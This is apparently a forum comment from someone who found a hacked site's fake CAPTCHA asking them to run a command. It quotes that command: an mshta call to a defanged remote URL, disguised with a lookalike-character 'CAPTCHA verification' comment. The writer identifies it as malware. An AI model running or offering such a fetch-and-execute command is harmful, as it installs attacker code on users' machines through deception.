The text it wants me to run is the following:
mshta https://check/[dot]dasoc[dot]icu/gkcxv[dot]google?i=888x8x8x-x8xx-8888-xxx8-a00888888a1ab # Humаn, nоt а rоbоt: CAPTCHА Vеrіfісаtіоn ID: 552163’’
Looks like the site got hacked and wants be run malware, but I’ve never seen something like this before.
I have no idea how somebody might come up with this braindead, unintuitive and irreproducable mnemonic for a JavaScript interpreter but it sounds very much like something Microsoft would do.